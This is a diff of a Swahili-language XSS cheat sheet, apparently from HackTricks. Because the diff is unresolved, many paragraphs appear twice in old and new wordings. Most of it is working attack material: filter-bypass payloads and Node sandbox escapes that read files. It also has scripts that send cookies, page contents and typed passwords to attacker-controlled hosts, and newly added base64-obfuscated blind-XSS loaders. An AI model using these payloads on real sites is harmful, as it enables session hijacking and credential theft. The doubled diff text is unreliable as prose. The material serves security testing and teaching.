**Herufi zilizokodishwa za HTML** ndani ya thamani ya sifa za vitambulisho vya HTML zinatolewa **wakati wa utekelezaji**. Hivyo basi kitu kama ifuatavyo kitakuwa halali (mzigo uko kwenye maandiko makubwa): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`&apos;-alert(1)-&apos;`**`';">Rudi Nyuma </a>`
Kumbuka kwamba **aina yoyote ya uandishi wa HTML ni halali**:
```javascript
@ -351,7 +351,7 @@ _**Katika kesi hii, usimbuaji wa HTML na hila ya usimbuaji wa Unicode kutoka seh
```javascript
<a href="javascript:var a='&apos;-alert(1)-&apos;'">
```
Zaidi ya hayo, kuna **njia nzuri** nyingine kwa kesi hizi: **Hata kama ingizo lako ndani ya `javascript:...` linapandishwa URL, litakuwa limeondolewa URL kabla ya kutekelezwa.** Hivyo, ikiwa unahitaji **kutoroka** kutoka kwa **nyuzi** kwa kutumia **nukta moja** na unaona kwamba **linapandishwa URL**, kumbuka kwamba **haijalishi,** litakuwa **limeeleweka** kama **nukta moja** wakati wa **wakati wa utekelezaji.**
Zaidi ya hayo, kuna **njia nzuri** nyingine kwa kesi hizi: **Hata kama ingizo lako ndani ya `javascript:...` linapandishwa URL, litakuwa URL decoded kabla ya kutekelezwa.** Hivyo, ikiwa unahitaji **kutoroka** kutoka kwa **nyuzi** kwa kutumia **nukta moja** na unaona kwamba **linapandishwa URL**, kumbuka kwamba **haijalishi,** litakuwa **limefasiriwa** kama **nukta moja** wakati wa **wakati wa utekelezaji.**
```javascript
&apos;-alert(1)-&apos;
%27-alert(1)-%27
@ -377,16 +377,16 @@ Unaweza kutumia **Hex** na **Octal encode** ndani ya sifa ya `src` ya `iframe` (
```javascript
<a target="_blank" rel="opener"
```
Ikiwa unaweza kuingiza URL yoyote katika tag ya **`<a href=`** isiyo na mipaka ambayo ina sifa za **`target="_blank" na rel="opener"`**, angalia **ukurasa ufuatao ili kutumia tabia hii**:
Ikiwa unaweza kuingiza URL yoyote katika tag ya **`<a href=`** isiyo na mpangilio ambayo ina sifa za **`target="_blank" na rel="opener"`**, angalia **ukurasa ufuatao ili kutumia tabia hii**:
{{#ref}}
../reverse-tab-nabbing.md
{{#endref}}
### juu ya Kuepuka Wakati wa Wamiliki
### juu ya Kuepuka Wakati wa Matukio
Kwanza angalia ukurasa huu ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) kwa **"on" wamiliki wa matukio** wanaofaa.\
Ikiwa kuna orodha ya mblacklist inayokuzuia kuunda wamiliki hawa wa matukio unaweza kujaribu kuepuka zifuatazo:
Kwanza kabisa angalia ukurasa huu ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) kwa **"on" event handlers** zinazofaa.\
Ikiwa kuna orodha ya mblacklist inayokuzuia kuunda hizi hata handlers unaweza kujaribu kuepuka zifuatazo:
```javascript
<svg onload%09=alert(1)> //No safari
<svg %09onload=alert(1)>
@ -401,9 +401,9 @@ Firefox: %09 %20 %28 %2C %3B
Opera: %09 %20 %2C %3B
Android: %09 %20 %28 %2C %3B
```
### XSS katika "Madaraja Yasiyoweza Kutumika" (kazi ya siri, kiungo, kanuni, meta)
### XSS katika "Madaraja Yasiyoweza Kutumika" (ingizo lililofichwa, kiungo, kanuni, meta)
Kutoka [**hapa**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **sasa inawezekana kutumia kazi za siri kwa:**
Kutoka [**hapa**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **sasa inawezekana kutumia vibaya ingizo lililofichwa na:**
```html
<button popvertarget="x">Click me</button>
<input type="hidden" value="y" popover id="x" onbeforetoggle="alert(1)" />
@ -430,7 +430,7 @@ Kutoka [**hapa**](https://portswigger.net/research/xss-in-hidden-input-fields):
### Kupita kwenye Orodha ya Blacklist
Njia kadhaa za kutumia uandishi tofauti zimeonyeshwa tayari ndani ya sehemu hii. Rudi **kujifunza wapi unaweza kutumia:**
Njia kadhaa za kutumia uandishi tofauti tayari zimefunuliwa ndani ya sehemu hii. Rudi **kujifunza wapi unaweza kutumia:**
- **Uandishi wa HTML (vitambulisho vya HTML)**
- **Uandishi wa Unicode (unaweza kuwa msimbo halali wa JS):** `\u0061lert(1)`
@ -448,7 +448,7 @@ Soma [orodha ya kupita ya JavaScript ya sehemu ifuatayo](#javascript-bypass-blac
### CSS-Gadgets
Ikiwa umepata **XSS katika sehemu ndogo sana** ya wavuti inayohitaji aina fulani ya mwingiliano (labda kiungo kidogo kwenye footer chenye kipengele cha onmouseover), unaweza kujaribu **kubadilisha nafasi ambayo kipengele hicho kinachukua** ili kuongeza uwezekano wa kiungo hicho kufanyika.
Ikiwa umepata **XSS katika sehemu ndogo sana** ya wavuti inayohitaji aina fulani ya mwingiliano (labda kiungo kidogo kwenye footer chenye kipengele cha onmouseover), unaweza kujaribu **kubadilisha nafasi ambayo kipengele hicho kinachukua** ili kuongeza uwezekano wa kiungo hicho kufunguliwa.
Kwa mfano, unaweza kuongeza mtindo katika kipengele kama: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
@ -460,7 +460,7 @@ na
> \#someid {top: 0; font-family: Tahoma;}
Sasa unaweza kubadilisha kiungo chetu na kukileta katika mfumo
Sasa unaweza kubadilisha kiungo chetu na kukileta katika fomu
> \<a href="" id=someid class=test onclick=alert() a="">
@ -476,7 +476,7 @@ Ikiwa msimbo wako umeingizwa ndani ya `<script> [...] var input = 'reflected dat
```javascript
</script><img src=1 onerror=alert(document.domain)>
```
Kumbuka kwamba katika mfano huu **hatujaweza hata kufunga nukta moja**. Hii ni kwa sababu **uchambuzi wa HTML unafanywa kwanza na kivinjari**, ambayo inahusisha kutambua vipengele vya ukurasa, ikiwa ni pamoja na vizuizi vya script. Uchambuzi wa JavaScript ili kuelewa na kutekeleza scripts zilizowekwa unafanywa tu baadaye.
Kumbuka kwamba katika mfano huu **hatujaifunga hata nukta moja**. Hii ni kwa sababu **uchambuzi wa HTML unafanywa kwanza na kivinjari**, ambayo inahusisha kutambua vipengele vya ukurasa, ikiwa ni pamoja na vizuizi vya script. Uchambuzi wa JavaScript ili kuelewa na kutekeleza scripts zilizowekwa unafanywa tu baadaye.
### Ndani ya msimbo wa JS
@ -518,7 +518,7 @@ alert(1)
```
### Mbinu za kupita orodha za mblacklist za JavaScript
**Mifumo ya maandiko**
**Mifumo ya maneno**
```javascript
"thisisastring"
'thisisastrig'
@ -562,7 +562,7 @@ eval(8680439..toString(30))(983801..toString(36))
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line
```
**JavaScript mipangilio mipya (kutoka** [**JavaScript mipangilio mipya**](#javascript-new-lines) **hila)**
**JavaScript mistari mipya (kutoka** [**JavaScript mistari mipya**](#javascript-new-lines) **hila)**
```javascript
//Javascript interpret as new line these chars:
String.fromCharCode(10)
@ -739,7 +739,7 @@ top[8680439..toString(30)](1)
```
## **Vikosi vya DOM**
Kuna **kodii ya JS** inayotumia **data zisizo salama zinazodhibitiwa na mshambuliaji** kama `location.href`. Mshambuliaji anaweza kutumia hii kutekeleza kodii ya JS isiyo na mipaka.\
Kuna **kodii ya JS** inayotumia **data isiyo salama inayodhibitiwa na mshambuliaji** kama `location.href`. Mshambuliaji anaweza kutumia hii kutekeleza kodii ya JS isiyo na mipaka.\
**Kwa sababu ya upanuzi wa maelezo ya** [**vikosi vya DOM, imehamishwa kwenye ukurasa huu**](dom-xss.md)**:**
{{#ref}}
@ -753,7 +753,7 @@ Pia, usisahau kwamba **mwishoni mwa chapisho lililotajwa** unaweza kupata maelez
### Cookie XSS
Ikiwa unaweza kuanzisha XSS kwa kutuma payload ndani ya cookie, hii kwa kawaida ni self-XSS. Hata hivyo, ikiwa unapata **subdomain iliyo hatarini kwa XSS**, unaweza kutumia XSS hii kuingiza cookie katika domain nzima na kufanikisha kuanzisha cookie XSS katika domain kuu au subdomains nyingine (zinazohatarini kwa cookie XSS). Kwa hili unaweza kutumia shambulio la cookie tossing:
Ikiwa unaweza kuanzisha XSS kwa kutuma payload ndani ya cookie, hii kwa kawaida ni self-XSS. Hata hivyo, ikiwa unapata **subdomain iliyo hatarini kwa XSS**, unaweza kutumia XSS hii kuingiza cookie katika domain nzima na kufanikisha kuanzisha cookie XSS katika domain kuu au subdomains nyingine (zinazo hatarini kwa cookie XSS). Kwa hili unaweza kutumia shambulio la cookie tossing:
{{#ref}}
../hacking-with-cookies/cookie-tossing.md
@ -775,7 +775,7 @@ Unaweza kumfanya **msimamizi achochee self XSS yako** na kuiba cookies/kikao cha
### Unicode Iliyosawazishwa
Unaweza kuangalia ikiwa **thamani zinazorejelewa** zina **sawasishwa kwa unicode** kwenye seva (au upande wa mteja) na kutumia kazi hii kuzunguka ulinzi. [**Pata mfano hapa**](../unicode-injection/index.html#xss-cross-site-scripting).
Unaweza kuangalia ikiwa **thamani zinazorejelewa** zina **sawasishwa kwa unicode** katika seva (au upande wa mteja) na kutumia kazi hii kuzunguka ulinzi. [**Pata mfano hapa**](../unicode-injection/index.html#xss-cross-site-scripting).
### PHP FILTER_VALIDATE_EMAIL flag Bypass
```javascript
@ -826,9 +826,9 @@ document['default'+'View'][`\u0061lert`](3)
```
### XSS na uingizaji wa kichwa katika jibu la 302
Ikiwa unapata kwamba unaweza **kuingiza vichwa katika jibu la 302 Redirect** unaweza kujaribu **kufanya kivinjari kiendeshe JavaScript isiyo na mipaka**. Hii **sio rahisi** kwani vivinjari vya kisasa havitafsiri mwili wa jibu la HTTP ikiwa msimamo wa jibu la HTTP ni 302, hivyo payload ya cross-site scripting ni bure.
Ikiwa unapata kwamba unaweza **kuingiza vichwa katika jibu la 302 Redirect** unaweza kujaribu **kufanya kivinjari kiendeshe JavaScript isiyo na mipaka**. Hii si **rahisi** kwani vivinjari vya kisasa havitafsiri mwili wa jibu la HTTP ikiwa msimamo wa jibu la HTTP ni 302, hivyo payload ya cross-site scripting ni bure.
Katika [**ripoti hii**](https://www.gremwell.com/firefox-xss-302) na [**hii moja**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) unaweza kusoma jinsi unavyoweza kujaribu protokali kadhaa ndani ya kichwa cha Location na kuona ikiwa yoyote yao inaruhusu kivinjari kuchunguza na kutekeleza payload ya XSS ndani ya mwili.\
Katika [**ripoti hii**](https://www.gremwell.com/firefox-xss-302) na [**hii**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) unaweza kusoma jinsi unavyoweza kujaribu protokali kadhaa ndani ya kichwa cha Location na kuona ikiwa yoyote yao inaruhusu kivinjari kuchunguza na kutekeleza payload ya XSS ndani ya mwili.\
Protokali zilizojulikana zamani: `mailto://`, `//x:1/`, `ws://`, `wss://`, _kichwa cha Location kisicho na kitu_, `resource://`.
### Herufi, Nambari na Nukta Pekee
@ -899,7 +899,7 @@ import { partition } from "lodash"
```
Tabia hii ilitumika katika [**hati hii**](https://github.com/zwade/yaca/tree/master/solution) kubadilisha maktaba ili eval itumike vibaya inaweza kusababisha XSS.
- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Kipengele hiki hasa kinakusudia kutatua baadhi ya matatizo yanayosababishwa na pre-rendering. Inafanya kazi kama ifuatavyo:
- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Kipengele hiki hasa kinakusudia kutatua baadhi ya matatizo yanayosababishwa na pre-rendering. Kifanyikavyo ni hivi:
```html
<script type="speculationrules">
{
@ -928,7 +928,7 @@ Tabia hii ilitumika katika [**hati hii**](https://github.com/zwade/yaca/tree/mas
- application/rss+xml (off)
- application/atom+xml (off)
Katika vivinjari vingine aina nyingine za **`Content-Types`** zinaweza kutumika kutekeleza JS isiyo na mipaka, angalia: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
Katika vivinjari vingine **`Content-Types`** nyingine zinaweza kutumika kutekeleza JS isiyo na mipaka, angalia: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
### xml Content Type
@ -944,7 +944,7 @@ Ikiwa ukurasa unarudisha aina ya maudhui ya text/xml inawezekana kuashiria names
Wakati kitu kama **`"some {{template}} data".replace("{{template}}", <user_input>)`** kinatumika. Mshambuliaji anaweza kutumia [**mabadiliko maalum ya nyuzi**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) kujaribu kupita baadhi ya ulinzi: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) ``
Kwa mfano katika [**hii andiko**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), hii ilitumika **kutoa nyuzi za JSON** ndani ya script na kutekeleza msimbo wa kiholela.
Kwa mfano katika [**hii andiko**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), hii ilitumika ku **kutoa nyuzi za JSON** ndani ya script na kutekeleza msimbo wa kiholela.
### Chrome Cache hadi XSS
@ -952,7 +952,7 @@ Kwa mfano katika [**hii andiko**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA)
chrome-cache-to-xss.md
{{#endref}}
### Kutoroka kwa XS Jails
### XS Jails Kutoroka
Ikiwa una seti ndogo tu ya wahusika kutumia, angalia hizi suluhisho nyingine halali za matatizo ya XSJail:
```javascript
@ -985,7 +985,7 @@ constructor(source)()
// For more uses of with go to challenge misc/CaaSio PSE in
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
```
Ikiwa **kila kitu hakijafafanuliwa** kabla ya kutekeleza msimbo usioaminika (kama ilivyo katika [**hii ripoti**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)) inawezekana kuunda vitu vya manufaa "kutoka kwa chochote" ili kutumia utekelezaji wa msimbo usioaminika:
Ikiwa **kila kitu hakijafafanuliwa** kabla ya kutekeleza msimbo usioaminika (kama ilivyo katika [**hii ripoti**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)) inawezekana kuunda vitu vya manufaa "kutoka kwa chochote" ili kutumia utekelezaji wa msimbo usioaminika wa kiholela:
- Kutumia import()
```javascript
@ -1009,7 +1009,7 @@ return arguments.callee.caller.arguments[1]("fs").readFileSync(
)
})()
```
Kwa njia sawa na mfano uliopita, inawezekana **kutumia waandishi wa makosa** kufikia **wrapper** wa moduli na kupata **`require`** kazi:
Kwa njia sawa na mfano uliopita, inawezekana **kutumia waandishi wa makosa** kufikia **wrapper** ya moduli na kupata **`require`** kazi:
```javascript
try {
null.f()
@ -1268,9 +1268,9 @@ Fanya mtumiaji aendelee kwenye ukurasa bila kutoka kwenye iframe na kuiba vitend
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
```
> [!NOTE]
> Hutaweza kufikia vidakuzi kutoka JavaScript ikiwa bendera ya HTTPOnly imewekwa kwenye kidakuzi. Lakini hapa kuna [njia kadhaa za kupita ulinzi huu](../hacking-with-cookies/index.html#httponly) ikiwa umebahatika.
> Hutaweza kufikia vidakuzi kutoka JavaScript ikiwa bendera ya HTTPOnly imewekwa kwenye kidakuzi. Lakini hapa una [njia kadhaa za kupita ulinzi huu](../hacking-with-cookies/index.html#httponly) ikiwa umebahatika.
### Pora Maudhui ya Ukurasa
### Kuiba Maudhui ya Ukurasa
```javascript
var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8"
var attacker = "http://10.10.14.8/exfil"
@ -1340,7 +1340,7 @@ q.shift()()
}
</script>
```
### Port Scanner (fetch)
### Scanner ya Bandari (fetch)
```javascript
const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }
```
@ -1378,11 +1378,11 @@ mode: 'no-cors',
body:username.value+':'+this.value
});">
```
Wakati data yoyote inapoingizwa kwenye uwanja wa nywila, jina la mtumiaji na nywila vinatumwa kwenye seva ya washambuliaji, hata kama mteja anachagua nywila iliyohifadhiwa na hajiandikishe chochote, taarifa za kuingia zitavuja.
Wakati data yoyote inapoingizwa katika uwanja wa nywila, jina la mtumiaji na nywila vinatumwa kwa seva ya washambuliaji, hata kama mteja anachagua nywila iliyohifadhiwa na hajiandikishe chochote, taarifa za kuingia zitavuja.
### Keylogger
Nikiwa naangalia kwenye github, nilipata tofauti kadhaa:
Nikiwa naangalia katika github, nilipata tofauti kadhaa:
- [https://github.com/JohnHoder/Javascript-Keylogger](https://github.com/JohnHoder/Javascript-Keylogger)
- [https://github.com/rajeshmajumdar/keylogger](https://github.com/rajeshmajumdar/keylogger)
@ -1471,6 +1471,31 @@ Unaweza pia kutumia: [https://xsshunter.com/](https://xsshunter.com)
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script>
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
<!-- Payloads from https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide -->
<!-- Image tag -->
'"><img src="x" onerror="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">
<!-- Input tag with autofocus -->
'"><input autofocus onfocus="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">
<!-- In case jQuery is loaded, we can make use of the getScript method -->
'"><script>$.getScript("{SERVER}/script.js")</script>
<!-- Make use of the JavaScript protocol (applicable in cases where your input lands into the "href" attribute or a specific DOM sink) -->
javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw=="))
<!-- Render an iframe to validate your injection point and receive a callback -->
'"><iframe src="{SERVER}"></iframe>
<!-- Bypass certain Content Security Policy (CSP) restrictions with a base tag -->
<base href="{SERVER}" />
<!-- Make use of the meta-tag to initiate a redirect -->
<meta http-equiv="refresh" content="0; url={SERVER}" />
<!-- In case your target makes use of AngularJS -->
{{constructor.constructor("import('{SERVER}/script.js')")()}}
```
### Regex - Access Hidden Content
@ -1513,13 +1538,13 @@ Umepata XSS kwenye **tovuti inayotumia caching**? Jaribu **kuinua hiyo kuwa SSRF
```python
<esi:include src="http://yoursite.com/capture" />
```
Tumia hii kupita vizuizi vya cookie, XSS filters na mengi zaidi!\
Tumia ili kupita vizuizi vya cookie, XSS filters na mengi zaidi!\
Taarifa zaidi kuhusu mbinu hii hapa: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md).
### XSS katika PDF inayoundwa kwa dinamik
Ikiwa ukurasa wa wavuti unaunda PDF kwa kutumia input inayodhibitiwa na mtumiaji, unaweza kujaribu **kudanganya bot** inayounda PDF ili **kutekeleza msimbo wa JS usio na mipaka**.\
Hivyo, ikiwa **bot ya kuunda PDF inapata** aina fulani ya **HTML** **tags**, itakuwa **inafasiri** hizo, na unaweza **kutumia** tabia hii kusababisha **Server XSS**.
Ikiwa ukurasa wa wavuti unaunda PDF kwa kutumia pembejeo zinazodhibitiwa na mtumiaji, unaweza kujaribu **kudanganya bot** inayounda PDF ili **kutekeleza msimbo wa JS usio na mipaka**.\
Hivyo, ikiwa **bot ya kuunda PDF inapata** aina fulani ya **HTML** **tags**, itakwenda **kuziandika**, na unaweza **kutumia** tabia hii kusababisha **Server XSS**.
{{#ref}}
server-side-xss-dynamic-pdf.md
@ -1612,5 +1637,6 @@ other-js-tricks.md
- [https://github.com/ismailtasdelen/xss-payload-list](https://github.com/ismailtasdelen/xss-payload-list)
- [https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec](https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec)
- [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html)
- [https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide](https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide)
{{#include ../../banners/hacktricks-training.md}}